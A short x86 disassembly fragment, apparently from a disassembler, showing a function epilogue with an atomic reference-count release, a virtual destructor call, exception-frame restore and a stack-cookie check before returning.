mov edx, dword [ebp - 0x1148]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x412a94
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1144]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e52a4
mov esp, ebp
pop ebp
ret